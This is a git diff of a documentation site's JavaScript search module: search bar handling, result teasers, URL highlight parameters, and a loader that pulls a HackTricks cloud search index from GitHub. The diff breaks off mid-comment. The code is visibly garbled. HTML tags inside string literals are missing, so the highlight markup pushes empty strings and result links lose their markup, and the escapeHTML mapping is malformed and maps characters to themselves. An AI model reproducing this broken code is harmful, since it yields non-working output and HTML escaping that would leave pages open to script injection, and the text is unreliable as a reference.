+= weighted[wordindex + window_size][1]; - window_weight.push(cur_sum); - }; - - if (searchterm_found) { - var max_sum = 0; - var max_sum_window_index = 0; - // backwards - for (var i = window_weight.length - 1; i >= 0; i--) { - if (window_weight[i] > max_sum) { - max_sum = window_weight[i]; - max_sum_window_index = i; - } - }; - } else { - max_sum_window_index = 0; - } - - // add around searchterms - var teaser_split = []; - var index = weighted[max_sum_window_index][2]; - for (var i = max_sum_window_index; i < max_sum_window_index+window_size; i++) { - var word = weighted[i]; - if (index < word[2]) { - // missing text from index to start of `word` - teaser_split.push(body.substring(index, word[2])); - index = word[2]; - } - if (word[1] == searchterm_weight) { - teaser_split.push("") - } - index = word[2] + word[0].length; - teaser_split.push(body.substring(word[2], index)); - if (word[1] == searchterm_weight) { - teaser_split.push("") - } - }; - - return teaser_split.join(''); - } - - function init(config) { - results_options = config.results_options; - search_options = config.search_options; - searchbar_outer = config.searchbar_outer; - doc_urls = config.doc_urls; - searchindex = elasticlunr.Index.load(config.index); - - // Set up events - searchicon.addEventListener('click', function(e) { searchIconClickHandler(); }, false); - search_wrap.addEventListener('click', function(e) { searchIconClickHandler(); }, false); - search_modal.addEventListener('click', function(e) { e.stopPropagation(); }, false); - searchbar.addEventListener('keyup', function(e) { searchbarKeyUpHandler(); }, false); - document.addEventListener('keydown', function(e) { globalKeyHandler(e); }, false); - // If the user uses the browser buttons, do the same as if a reload happened - window.onpopstate = function(e) { doSearchOrMarkFromUrl(); }; - // Suppress "submit" events so the page doesn't reload when the user presses Enter - document.addEventListener('submit', function(e) { e.preventDefault(); }, false); - - // If reloaded, do the search or mark again, depending on the current url parameters - doSearchOrMarkFromUrl(); + }, 1); + }; + window.cancelIdleCallback = window.clearTimeout; } - function unfocusSearchbar() { - // hacky, but just focusing a div only works once - var tmp = document.createElement('input'); - tmp.setAttribute('style', 'position: absolute; opacity: 0;'); - searchicon.appendChild(tmp); - tmp.focus(); - tmp.remove(); - } + + /* ──────────────────────────────────────────────────────────────── + search.js + ─────────────────────────────────────────────────────────────── */ - // On reload or browser history backwards/forwards events, parse the url and do search or mark - function doSearchOrMarkFromUrl() { - // Check current URL for search request - var url = parseURL(window.location.href); - if (url.params.hasOwnProperty(URL_SEARCH_PARAM) - && url.params[URL_SEARCH_PARAM] != "") { - showSearch(true); - searchbar.value = decodeURIComponent( - (url.params[URL_SEARCH_PARAM]+'').replace(/\+/g, '%20')); - searchbarKeyUpHandler(); // -> doSearch() - } else { - showSearch(false); + "use strict"; + window.search = window.search || {}; + (function search(search) { + // Search functionality + // + // You can use !hasFocus() to prevent keyhandling in your key + // event handlers while the user is typing their search. + + if (!Mark || !elasticlunr) { + return; } - - if (url.params.hasOwnProperty(URL_MARK_PARAM)) { - var words = decodeURIComponent(url.params[URL_MARK_PARAM]).split(' '); - marker.mark(words, { - exclude: mark_exclude + + //IE 11 Compatibility from https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/startsWith + if (!String.prototype.startsWith) { + String.prototype.startsWith = function(search, pos) { + return this.substr(!pos || pos < 0 ? 0 : +pos, search.length) === search; + }; + } + + var search_wrap = document.getElementById('search-wrapper'), + search_modal = document.getElementById('search-modal'), + searchbar = document.getElementById('searchbar'), + searchbar_outer = document.getElementById('searchbar-outer'), + searchresults = document.getElementById('searchresults'), + searchresults_outer = document.getElementById('searchresults-outer'), + searchresults_header = document.getElementById('searchresults-header'), + searchicon = document.getElementById('search-toggle'), + content = document.getElementById('content'), + + searchindex = null, + doc_urls = [], + results_options = { + teaser_word_count: 30, + limit_results: 30, + }, + search_options = { + bool: "AND", + expand: true, + fields: { + title: {boost: 1}, + body: {boost: 1}, + breadcrumbs: {boost: 0} + } + }, + mark_exclude = [], + marker = new Mark(content), + current_searchterm = "", + URL_SEARCH_PARAM = 'search', + URL_MARK_PARAM = 'highlight', + teaser_count = 0, + + SEARCH_HOTKEY_KEYCODE = 83, + ESCAPE_KEYCODE = 27, + DOWN_KEYCODE = 40, + UP_KEYCODE = 38, + SELECT_KEYCODE = 13; + + function hasFocus() { + return searchbar === document.activeElement; + } + + function removeChildren(elem) { + while (elem.firstChild) { + elem.removeChild(elem.firstChild); + } + } + + // Helper to parse a url into its building blocks. + function parseURL(url) { + var a = document.createElement('a'); + a.href = url; + return { + source: url, + protocol: a.protocol.replace(':',''), + host: a.hostname, + port: a.port, + params: (function(){ + var ret = {}; + var seg = a.search.replace(/^\?/,'').split('&'); + var len = seg.length, i = 0, s; + for (;i': '>', + '"': '"', + "'": ''' + }; + var repl = function(c) { return MAP[c]; }; + return function(s) { + return s.replace(/[&<>'"]/g, repl); + }; + })(); + + function formatSearchMetric(count, searchterm) { + if (count == 1) { + return count + " search result for '" + searchterm + "':"; + } else if (count == 0) { + return "No search results for '" + searchterm + "'."; + } else { + return count + " search results for '" + searchterm + "':"; + } + } + + function formatSearchResult(result, searchterms) { + var teaser = makeTeaser(escapeHTML(result.doc.body), searchterms); + teaser_count++; + + // The ?URL_MARK_PARAM= parameter belongs inbetween the page and the #heading-anchor + var url = doc_urls[result.ref].split("#"); + if (url.length == 1) { // no anchor found + url.push(""); + } + + // encodeURIComponent escapes all chars that could allow an XSS except + // for '. Due to that we also manually replace ' with its url-encoded + // representation (%27). + var searchterms = encodeURIComponent(searchterms.join(" ")).replace(/\'/g, "%27"); + + return '' + result.doc.breadcrumbs + + '' + + teaser + '' + ''; + } + + function makeTeaser(body, searchterms) { + // The strategy is as follows: + // First, assign a value to each word in the document: + // Words that correspond to search terms (stemmer aware): 40 + // Normal words: 2 + // First word in a sentence: 8 + // Then use a sliding window with a constant number of words and count the + // sum of the values of the words within the window. Then use the window that got the + // maximum sum. If there are multiple maximas, then get the last one. + // Enclose the terms in . + var stemmed_searchterms = searchterms.map(function(w) { + return elasticlunr.stemmer(w.toLowerCase()); }); - - var markers = document.querySelectorAll("mark"); - function hide() { + var searchterm_weight = 40; + var weighted = []; // contains elements of ["word", weight, index_in_document] + // split in sentences, then words + var sentences = body.toLowerCase().split('. '); + var index = 0; + var value = 0; + var searchterm_found = false; + for (var sentenceindex in sentences) { + var words = sentences[sentenceindex].split(' '); + value = 8; + for (var wordindex in words) { + var word = words[wordindex]; + if (word.length > 0) { + for (var searchtermindex in stemmed_searchterms) { + if (elasticlunr.stemmer(word).startsWith(stemmed_searchterms[searchtermindex])) { + value = searchterm_weight; + searchterm_found = true; + } + }; + weighted.push([word, value, index]); + value = 2; + } + index += word.length; + index += 1; // ' ' or '.' if last word in sentence + }; + index += 1; // because we split at a two-char boundary '. ' + }; + + if (weighted.length == 0) { + return body; + } + + var window_weight = []; + var window_size = Math.min(weighted.length, results_options.teaser_word_count); + + var cur_sum = 0; + for (var wordindex = 0; wordindex < window_size; wordindex++) { + cur_sum += weighted[wordindex][1]; + }; + window_weight.push(cur_sum); + for (var wordindex = 0; wordindex < weighted.length - window_size; wordindex++) { + cur_sum -= weighted[wordindex][1]; + cur_sum += weighted[wordindex + window_size][1]; + window_weight.push(cur_sum); + }; + + if (searchterm_found) { + var max_sum = 0; + var max_sum_window_index = 0; + // backwards + for (var i = window_weight.length - 1; i >= 0; i--) { + if (window_weight[i] > max_sum) { + max_sum = window_weight[i]; + max_sum_window_index = i; + } + }; + } else { + max_sum_window_index = 0; + } + + // add around searchterms + var teaser_split = []; + var index = weighted[max_sum_window_index][2]; + for (var i = max_sum_window_index; i < max_sum_window_index+window_size; i++) { + var word = weighted[i]; + if (index < word[2]) { + // missing text from index to start of `word` + teaser_split.push(body.substring(index, word[2])); + index = word[2]; + } + if (word[1] == searchterm_weight) { + teaser_split.push("") + } + index = word[2] + word[0].length; + teaser_split.push(body.substring(word[2], index)); + if (word[1] == searchterm_weight) { + teaser_split.push("") + } + }; + + return teaser_split.join(''); + } + + function init(config) { + results_options = config.results_options; + search_options = config.search_options; + searchbar_outer = config.searchbar_outer; + doc_urls = config.doc_urls; + searchindex = elasticlunr.Index.load(config.index); + + // Set up events + searchicon.addEventListener('click', function(e) { searchIconClickHandler(); }, false); + search_wrap.addEventListener('click', function(e) { searchIconClickHandler(); }, false); + search_modal.addEventListener('click', function(e) { e.stopPropagation(); }, false); + searchbar.addEventListener('keyup', function(e) { searchbarKeyUpHandler(); }, false); + document.addEventListener('keydown', function(e) { globalKeyHandler(e); }, false); + // If the user uses the browser buttons, do the same as if a reload happened + window.onpopstate = function(e) { doSearchOrMarkFromUrl(); }; + // Suppress "submit" events so the page doesn't reload when the user presses Enter + document.addEventListener('submit', function(e) { e.preventDefault(); }, false); + + // If reloaded, do the search or mark again, depending on the current url parameters + doSearchOrMarkFromUrl(); + } + + function unfocusSearchbar() { + // hacky, but just focusing a div only works once + var tmp = document.createElement('input'); + tmp.setAttribute('style', 'position: absolute; opacity: 0;'); + searchicon.appendChild(tmp); + tmp.focus(); + tmp.remove(); + } + + // On reload or browser history backwards/forwards events, parse the url and do search or mark + function doSearchOrMarkFromUrl() { + // Check current URL for search request + var url = parseURL(window.location.href); + if (url.params.hasOwnProperty(URL_SEARCH_PARAM) + && url.params[URL_SEARCH_PARAM] != "") { + showSearch(true); + searchbar.value = decodeURIComponent( + (url.params[URL_SEARCH_PARAM]+'').replace(/\+/g, '%20')); + searchbarKeyUpHandler(); // -> doSearch() + } else { + showSearch(false); + } + + if (url.params.hasOwnProperty(URL_MARK_PARAM)) { + var words = decodeURIComponent(url.params[URL_MARK_PARAM]).split(' '); + marker.mark(words, { + exclude: mark_exclude + }); + + var markers = document.querySelectorAll("mark"); + function hide() { + for (var i = 0; i < markers.length; i++) { + markers[i].classList.add("fade-out"); + window.setTimeout(function(e) { marker.unmark(); }, 300); + } + } for (var i = 0; i < markers.length; i++) { - markers[i].classList.add("fade-out"); - window.setTimeout(function(e) { marker.unmark(); }, 300); + markers[i].addEventListener('click', hide); } } - for (var i = 0; i < markers.length; i++) { - markers[i].addEventListener('click', hide); - } } - } + + // Eventhandler for keyevents on `document` + function globalKeyHandler(e) { + if (e.altKey || e.ctrlKey || e.metaKey || e.shiftKey || e.target.type === 'textarea' || e.target.type === 'text' || !hasFocus() && /^(?:input|select|textarea)$/i.test(e.target.nodeName)) { return; } - // Eventhandler for keyevents on `document` - function globalKeyHandler(e) { - if (e.altKey || e.ctrlKey || e.metaKey || e.shiftKey || e.target.type === 'textarea' || e.target.type === 'text' || !hasFocus() && /^(?:input|select|textarea)$/i.test(e.target.nodeName)) { return; } - - if (e.keyCode === ESCAPE_KEYCODE) { - e.preventDefault(); - searchbar.classList.remove("active"); - setSearchUrlParameters("", - (searchbar.value.trim() !== "") ? "push" : "replace"); - if (hasFocus()) { + if (e.keyCode === ESCAPE_KEYCODE) { + e.preventDefault(); + searchbar.classList.remove("active"); + setSearchUrlParameters("", + (searchbar.value.trim() !== "") ? "push" : "replace"); + if (hasFocus()) { + unfocusSearchbar(); + } + showSearch(false); + marker.unmark(); + } else if (!hasFocus() && e.keyCode === SEARCH_HOTKEY_KEYCODE) { + e.preventDefault(); + showSearch(true); + window.scrollTo(0, 0); + searchbar.select(); + } else if (hasFocus() && e.keyCode === DOWN_KEYCODE) { + e.preventDefault(); unfocusSearchbar(); - } - showSearch(false); - marker.unmark(); - } else if (!hasFocus() && e.keyCode === SEARCH_HOTKEY_KEYCODE) { - e.preventDefault(); - showSearch(true); - window.scrollTo(0, 0); - searchbar.select(); - } else if (hasFocus() && e.keyCode === DOWN_KEYCODE) { - e.preventDefault(); - unfocusSearchbar(); - searchresults.firstElementChild.classList.add("focus"); - } else if (!hasFocus() && (e.keyCode === DOWN_KEYCODE - || e.keyCode === UP_KEYCODE - || e.keyCode === SELECT_KEYCODE)) { - // not `:focus` because browser does annoying scrolling - var focused = searchresults.querySelector("li.focus"); - if (!focused) return; - e.preventDefault(); - if (e.keyCode === DOWN_KEYCODE) { - var next = focused.nextElementSibling; - if (next) { + searchresults.firstElementChild.classList.add("focus"); + } else if (!hasFocus() && (e.keyCode === DOWN_KEYCODE + || e.keyCode === UP_KEYCODE + || e.keyCode === SELECT_KEYCODE)) { + // not `:focus` because browser does annoying scrolling + var focused = searchresults.querySelector("li.focus"); + if (!focused) return; + e.preventDefault(); + if (e.keyCode === DOWN_KEYCODE) { + var next = focused.nextElementSibling; + if (next) { + focused.classList.remove("focus"); + next.classList.add("focus"); + } + } else if (e.keyCode === UP_KEYCODE) { focused.classList.remove("focus"); - next.classList.add("focus"); + var prev = focused.previousElementSibling; + if (prev) { + prev.classList.add("focus"); + } else { + searchbar.select(); + } + } else { // SELECT_KEYCODE + window.location.assign(focused.querySelector('a')); } - } else if (e.keyCode === UP_KEYCODE) { - focused.classList.remove("focus"); - var prev = focused.previousElementSibling; - if (prev) { - prev.classList.add("focus"); - } else { - searchbar.select(); - } - } else { // SELECT_KEYCODE - window.location.assign(focused.querySelector('a')); } } - } - - function showSearch(yes) { - if (yes) { - search_wrap.classList.remove('hidden'); - searchicon.setAttribute('aria-expanded', 'true'); - } else { - search_wrap.classList.add('hidden'); - searchicon.setAttribute('aria-expanded', 'false'); - var results = searchresults.children; - for (var i = 0; i < results.length; i++) { - results[i].classList.remove("focus"); + + function showSearch(yes) { + if (yes) { + search_wrap.classList.remove('hidden'); + searchicon.setAttribute('aria-expanded', 'true'); + } else { + search_wrap.classList.add('hidden'); + searchicon.setAttribute('aria-expanded', 'false'); + var results = searchresults.children; + for (var i = 0; i < results.length; i++) { + results[i].classList.remove("focus"); + } } } - } - - function showResults(yes) { - if (yes) { - searchresults_outer.classList.remove('hidden'); - } else { - searchresults_outer.classList.add('hidden'); - } - } - - // Eventhandler for search icon - function searchIconClickHandler() { - if (search_wrap.classList.contains('hidden')) { - showSearch(true); - window.scrollTo(0, 0); - searchbar.select(); - } else { - showSearch(false); - } - } - // Eventhandler for keyevents while the searchbar is focused - function searchbarKeyUpHandler() { - var searchterm = searchbar.value.trim(); - if (searchterm != "") { - searchbar.classList.add("active"); - doSearch(searchterm); - } else { - searchbar.classList.remove("active"); - showResults(false); + function showResults(yes) { + if (yes) { + searchresults_outer.classList.remove('hidden'); + } else { + searchresults_outer.classList.add('hidden'); + } + } + + // Eventhandler for search icon + function searchIconClickHandler() { + if (search_wrap.classList.contains('hidden')) { + showSearch(true); + window.scrollTo(0, 0); + searchbar.select(); + } else { + showSearch(false); + } + } + + // Eventhandler for keyevents while the searchbar is focused + function searchbarKeyUpHandler() { + var searchterm = searchbar.value.trim(); + if (searchterm != "") { + searchbar.classList.add("active"); + doSearch(searchterm); + } else { + searchbar.classList.remove("active"); + showResults(false); + removeChildren(searchresults); + } + + setSearchUrlParameters(searchterm, "push_if_new_search_else_replace"); + + // Remove marks + marker.unmark(); + } + + // Update current url with ?URL_SEARCH_PARAM= parameter, remove ?URL_MARK_PARAM and #heading-anchor . + // `action` can be one of "push", "replace", "push_if_new_search_else_replace" + // and replaces or pushes a new browser history item. + // "push_if_new_search_else_replace" pushes if there is no `?URL_SEARCH_PARAM=abc` yet. + function setSearchUrlParameters(searchterm, action) { + var url = parseURL(window.location.href); + var first_search = ! url.params.hasOwnProperty(URL_SEARCH_PARAM); + if (searchterm != "" || action == "push_if_new_search_else_replace") { + url.params[URL_SEARCH_PARAM] = searchterm; + delete url.params[URL_MARK_PARAM]; + url.hash = ""; + } else { + delete url.params[URL_MARK_PARAM]; + delete url.params[URL_SEARCH_PARAM]; + } + // A new search will also add a new history item, so the user can go back + // to the page prior to searching. A updated search term will only replace + // the url. + if (action == "push" || (action == "push_if_new_search_else_replace" && first_search) ) { + history.pushState({}, document.title, renderURL(url)); + } else if (action == "replace" || (action == "push_if_new_search_else_replace" && !first_search) ) { + history.replaceState({}, document.title, renderURL(url)); + } + } + + function doSearch(searchterm) { + + // Don't search the same twice + if (current_searchterm == searchterm) { return; } + else { current_searchterm = searchterm; } + + if (searchindex == null) { return; } + + // Do the actual search + var results = searchindex.search(searchterm, search_options); + var resultcount = Math.min(results.length, results_options.limit_results); + + // Display search metrics + searchresults_header.innerText = formatSearchMetric(resultcount, searchterm); + + // Clear and insert results + var searchterms = searchterm.split(' '); removeChildren(searchresults); - } - - setSearchUrlParameters(searchterm, "push_if_new_search_else_replace"); - - // Remove marks - marker.unmark(); - } + for(var i = 0; i < resultcount ; i++){ + var resultElem = document.createElement('li'); + resultElem.innerHTML = formatSearchResult(results[i], searchterms); + searchresults.appendChild(resultElem); + } - // Update current url with ?URL_SEARCH_PARAM= parameter, remove ?URL_MARK_PARAM and #heading-anchor . - // `action` can be one of "push", "replace", "push_if_new_search_else_replace" - // and replaces or pushes a new browser history item. - // "push_if_new_search_else_replace" pushes if there is no `?URL_SEARCH_PARAM=abc` yet. - function setSearchUrlParameters(searchterm, action) { - var url = parseURL(window.location.href); - var first_search = ! url.params.hasOwnProperty(URL_SEARCH_PARAM); - if (searchterm != "" || action == "push_if_new_search_else_replace") { - url.params[URL_SEARCH_PARAM] = searchterm; - delete url.params[URL_MARK_PARAM]; - url.hash = ""; - } else { - delete url.params[URL_MARK_PARAM]; - delete url.params[URL_SEARCH_PARAM]; + // Display results + showResults(true); } - // A new search will also add a new history item, so the user can go back - // to the page prior to searching. A updated search term will only replace - // the url. - if (action == "push" || (action == "push_if_new_search_else_replace" && first_search) ) { - history.pushState({}, document.title, renderURL(url)); - } else if (action == "replace" || (action == "push_if_new_search_else_replace" && !first_search) ) { - history.replaceState({}, document.title, renderURL(url)); - } - } - function doSearch(searchterm) { - - // Don't search the same twice - if (current_searchterm == searchterm) { return; } - else { current_searchterm = searchterm; } - - if (searchindex == null) { return; } - - // Do the actual search - var results = searchindex.search(searchterm, search_options); - var resultcount = Math.min(results.length, results_options.limit_results); - - // Display search metrics - searchresults_header.innerText = formatSearchMetric(resultcount, searchterm); - - // Clear and insert results - var searchterms = searchterm.split(' '); - removeChildren(searchresults); - for(var i = 0; i < resultcount ; i++){ - var resultElem = document.createElement('li'); - resultElem.innerHTML = formatSearchResult(results[i], searchterms); - searchresults.appendChild(resultElem); - } - - // Display results - showResults(true); - } - - (async function loadSearchIndex(lang = window.lang || "en") { - const branch = lang === "en" ? "master" : lang; - const rawUrl = - `https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/refs/heads/${branch}/searchindex.js`; - const localJs = "/searchindex.js"; - const TIMEOUT_MS = 5_000; - - /* helper: inject a